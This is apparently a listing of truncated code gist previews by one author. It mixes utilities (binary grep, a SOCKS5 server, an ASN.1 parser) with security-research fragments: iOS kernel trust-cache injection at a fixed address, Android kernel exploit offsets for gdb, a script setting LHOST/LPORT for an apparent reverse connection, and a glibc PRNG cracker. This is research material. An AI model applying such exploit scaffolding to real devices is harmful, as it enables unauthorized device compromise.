gteissier

CFLAGS=-g -O2

all: bgrep-ragel.rl bgrep-kmp.c
	ragel -C -G2 -o bgrep-ragel.c bgrep-ragel.rl
	gcc -Wno-unused-const-variable $(CFLAGS) -c bgrep-ragel.c -o bgrep-ragel.o
	gcc -o bgrep-ragel bgrep-ragel.o
	gcc $(CFLAGS) -c bgrep-kmp.c -o bgrep-kmp.o
	gcc -o bgrep-kmp bgrep-kmp.o
	gcc $(CFLAGS) -c bgrep-memmem.c -o bgrep-memmem.o
	gcc -o bgrep-memmem bgrep-memmem.o

gteissier

// iPhone11,2-4-6
void inject_trusts(int pathc, const char *paths[])
{
    printf("[+] injecting into trust cache...\n");
    
    extern uint64_t g_kern_base;
  
    static uint64_t tc = 0;
    if (tc == 0) {
	// loaded_trust_caches: 0xFFFFFFF008F702C8

gteissier

#!/usr/bin/env python

from selenium import webdriver
import selenium
import sys
import re

def take_screenshot(url, png):
  options = webdriver.ChromeOptions()
  options.add_argument('headless')

gteissier

#!/usr/bin/env python

import sys
import json

start_time = None

for line in sys.stdin.readlines():
  o = json.loads(line)
  if type(o) != type([]):

gteissier

#!/usr/bin/env python

import requests
import sys
from base64 import b64encode


LHOST = '172.16.89.1'
LPORT = 8888

gteissier

#!/usr/bin/env python

import os
import re
import zipfile
from cStringIO import StringIO

def process_file(f):
  data = f.read()
  for m in re.finditer(r'(FLAG[0-9a-zA-Z/+=]+)', data):

gteissier

#!/usr/bin/env python

import z3
import sys

# glibc default PRNG
# it is called TYPE_3, and is an additive recursive generator
# its internal state is made of 31 32-bits integers
# r_0 ... r_30
# each call to random will modify the internal state

gteissier

import gdb
import re

from collections import namedtuple

DETAILS = {
    # API 24 playstore
    # API 25 playstore
    '3.10.0+': (0xC0887D20, 0xC092138C, 316, 0xC0A7754C, 4),
    # API 26 playstore

gteissier

from cStringIO import StringIO
from struct import pack
from binascii import unhexlify, hexlify
from itertools import count, dropwhile

VERBOSE = True

class Asn1Obj:
  '''generic frame for ASN1 fields, supports nesting'''
  def __init__(self, klass, constructed, type, indefinite, value=None, children=[], absorbed=None):

gteissier

#!/usr/bin/env python3

import logging
import select
import socket
import struct
from socketserver import ThreadingMixIn, TCPServer, StreamRequestHandler

logging.basicConfig(level=logging.DEBUG)
SOCKS_VERSION = 5